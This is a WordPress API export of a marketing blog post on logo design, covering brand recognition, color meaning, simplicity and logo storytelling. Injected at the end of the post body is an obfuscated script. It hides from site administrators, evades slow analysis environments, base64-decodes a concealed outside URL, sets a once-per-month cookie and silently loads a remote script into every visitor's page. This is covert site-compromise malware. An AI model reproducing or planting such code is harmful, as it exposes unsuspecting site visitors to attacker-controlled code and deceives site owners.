{"id":112,"date":"2017-11-07T13:31:43","date_gmt":"2017-11-07T13:31:43","guid":{"rendered":"https:\/\/www.sedulous.co\/blogm\/?p=112"},"modified":"2025-10-21T20:42:26","modified_gmt":"2025-10-21T15:12:26","slug":"what-makes-a-good-business-logo","status":"publish","type":"post","link":"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/","title":{"rendered":"What makes a good business logo?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#Crafting_a_memorable_and_effective_business_logo_is_essential_for_brand_identity_and_recognition\" >Crafting a memorable and effective business logo is essential for brand identity and recognition<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#5_Benefits_of_Having_a_Beautiful_and_Distinct_and_Thoughtful_Logo\" >5 Benefits of Having a Beautiful and Distinct (and Thoughtful) Logo<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#1_Easy_Branding\" >1. Easy Branding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#2_Consistency_in_your_message\" >2. Consistency in your message<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#3_Better_recognition\" >3. Better recognition<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#4_Highly_scalable\" >4. Highly scalable<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#5_Competitive_edge\" >5. Competitive edge<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#3_Secrets_behind_Impactful_Business_Logo\" >3 Secrets behind Impactful Business Logo<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#1_Color_is_the_Key\" >1. Color is the Key<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#2_The_%E2%80%98KISS_Mantra\" >2. The \u2018KISS\u2019 Mantra<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/what-makes-a-good-business-logo\/#3_A_Smart_Story\" >3. A Smart Story<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Crafting_a_memorable_and_effective_business_logo_is_essential_for_brand_identity_and_recognition\"><\/span>Crafting a memorable and effective business logo is essential for brand identity and recognition<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Take any successful brand, for example. Their logos, while once meant for branding purpose, today synonyms trust and credibility, bringing them big business at no marketing investment and effort.<\/p>\n<p>You see a \u201cswoosh\u201d on an activewear and you unconsciously confirms its quality without any second thought. You want soft drink; you see a \u201csmiling globe\u201d on the bottle and carelessly gulp down the drink without doubting its quality.<\/p>\n<p>This is the power of good business logo.<\/p>\n<p>It isn\u2019t just a graphic to go along with your brand name. If invested in well to nourish it, this small piece of visual can turn into being an identity of your business, becoming the single most influencing factor behind your company\u2019s success.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"5_Benefits_of_Having_a_Beautiful_and_Distinct_and_Thoughtful_Logo\"><\/span>5 Benefits of Having a Beautiful and Distinct (and Thoughtful) Logo<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4><span class=\"ez-toc-section\" id=\"1_Easy_Branding\"><\/span>1. Easy Branding<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Logos are the integral part of branding strategies. A striking logo is easy to remember and carries a clear message of the brand, highlighting its vision and standards.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"2_Consistency_in_your_message\"><\/span>2. Consistency in your message<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Consistency in message is a secret ingredient behind successful marketing campaigns. A logo brings uniformity here, carrying the same message on every display.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"3_Better_recognition\"><\/span>3. Better recognition<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Our brain process images 60,000 times faster than words. A unique and attractive logo improves brand\u2019s recognition across channels.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"4_Highly_scalable\"><\/span>4. Highly scalable<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Scaling a business is much like climbing stairs, one step at a time. A good logo builds strong ground for the company, in terms of recognition, to scale its operation at minimized risk.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"5_Competitive_edge\"><\/span>5. Competitive edge<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>If a logo is thoughtfully and inimitably designed, and then fostered well, it automatically stands out the crowd, edging competitors easily.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"3_Secrets_behind_Impactful_Business_Logo\"><\/span>3 Secrets behind Impactful Business Logo<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><strong>Did you know that 33 percent of the top 100 brands use the color blue in their logo?<\/strong><\/p>\n<p>Yes, while the logos of top companies vary \u2013 widely \u2013 they share some common features that make them outstanding. Here are 5 contributing factors that make a logo good and impactful:<\/p>\n<h4><span class=\"ez-toc-section\" id=\"1_Color_is_the_Key\"><\/span>1. Color is the Key<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Colors affect us on our subconscious level, swaying our moods and emotions. Hence it is very important to <span data-sheets-root=\"1\" data-sheets-value=\"{&quot;1&quot;:2,&quot;2&quot;:&quot;pick the right logo color&quot;}\" data-sheets-userformat=\"{&quot;2&quot;:513,&quot;3&quot;:{&quot;1&quot;:0},&quot;12&quot;:0}\" data-sheets-hyperlink=\"https:\/\/creativecloud.adobe.com\/discover\/article\/how-to-choose-the-right-logo-color\"><a class=\"in-cell-link\" href=\"https:\/\/creativecloud.adobe.com\/discover\/article\/how-to-choose-the-right-logo-color\" target=\"_blank\" rel=\"noopener\">pick the right logo color<\/a><\/span>. For example, blue invokes the feel of professionalism and trustworthiness, red says energetic and bold, yellow signifies optimism, and orange says creativity and friendly.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"2_The_%E2%80%98KISS_Mantra\"><\/span>2. The \u2018KISS\u2019 Mantra<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u2018Keep It Simple, Stupid\u2019 is an important mantra to remember when designing your logo. The most popular logos are insanely simple \u2013 be it that of Nike, Facebook, Microsoft, McDonalds, Flipkart or Amazon. So don\u2019t go overboard. Bring out the creative beast inside you and come up with simple and meaningful designs that are easy to remember.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"3_A_Smart_Story\"><\/span>3. A Smart Story<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Check out Unilever\u2019s logo. What looks to be random images in the alphabet \u2018U\u2019, they are very meaningful, highlighting various aspects of the company. Like the recycle icon means sustainability and lips imply beauty and taste. So whatever is your design, make sure it underlines the vision, drive and ideas of your brand and business.<\/p>\n<p>These are the legs of a tripod, that is, a beautiful and powerful logo that symbolizes company\u2019s standards, performance and long-term commitment.<\/p>\n<p>Given so much is involved here, do away from the DIY practices. <a href=\"https:\/\/www.sedulous.co\/blog\/hire-logo-designer\/\">Hire professionals logo designer<\/a> to design not just a logo\u2014but a sustaining future of your business.<script>;<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Crafting a memorable and effective business logo is essential for brand identity and recognition Take any successful brand, for example. Their logos, while once meant for branding purpose, today synonyms trust and credibility, bringing them big business at no marketing investment and effort. You see a \u201cswoosh\u201d on an activewear and you unconsciously confirms its quality without any second thought. You want soft drink; you see a \u201csmiling globe\u201d on the bottle and carelessly gulp down the drink without doubting its quality. This is the power of good business logo. It isn\u2019t just a graphic to go along with your brand name. If invested in well to nourish it, this small piece of visual can turn into being an identity of your business, becoming the single most influencing factor behind your company\u2019s success. 5 Benefits of Having a Beautiful and Distinct (and Thoughtful) Logo 1. Easy Branding Logos are the integral part of branding strategies. A striking logo is easy to remember and carries a clear message of the brand, highlighting its vision and standards. 2. Consistency in your message Consistency in message is a secret ingredient behind successful marketing campaigns. A logo brings uniformity here, carrying the same message on every display. 3. Better recognition Our brain process images 60,000 times faster than words. A unique and attractive logo improves brand\u2019s recognition across channels. 4. Highly scalable Scaling a business is much like climbing stairs, one step at a time. A good logo builds strong ground for the company, in terms of recognition, to scale its operation at minimized risk. 5. Competitive edge If a logo is thoughtfully and inimitably designed, and then fostered well, it automatically stands out the crowd, edging competitors easily. 3 Secrets behind Impactful Business Logo Did you know that 33 percent of the top 100 brands use the color blue in their logo? Yes, while the logos of top companies vary \u2013 widely \u2013 they share some common features that make them outstanding. Here are 5 contributing factors that make a logo good and impactful: 1. Color is the Key Colors affect us on our subconscious level, swaying our moods and emotions. Hence it is very important to pick the right logo color. For example, blue invokes the feel of professionalism and trustworthiness, red says energetic and bold, yellow signifies optimism, and orange says creativity and friendly. 2. The \u2018KISS\u2019 Mantra \u2018Keep It Simple, Stupid\u2019 is an important mantra to remember when designing your logo. The most popular logos are insanely simple \u2013 be it that of Nike, Facebook, Microsoft, McDonalds, Flipkart or Amazon. So don\u2019t go overboard. Bring out the creative beast inside you and come up with simple and meaningful designs that are easy to remember. 3. A Smart Story Check out Unilever\u2019s logo. What looks to be random images in the alphabet \u2018U\u2019, they are very meaningful, highlighting various aspects of the company. Like the recycle icon means sustainability and lips imply beauty and taste. So whatever is your design, make sure it underlines the vision, drive and ideas of your brand and business. These are the legs of a tripod, that is, a beautiful and powerful logo that symbolizes company\u2019s standards, performance and long-term commitment. Given so much is involved here, do away from the DIY practices. Hire professionals logo designer to design not just a logo\u2014but a sustaining future of your business.<\/p>\n","protected":false},"author":1,"featured_media":9814,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[64],"tags":[],"class_list":["post-112","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-logo-design"],"_links":{"self":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/112","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/comments?post=112"}],"version-history":[{"count":10,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/112\/revisions"}],"predecessor-version":[{"id":11886,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/112\/revisions\/11886"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/media\/9814"}],"wp:attachment":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/media?parent=112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/categories?post=112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/tags?post=112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}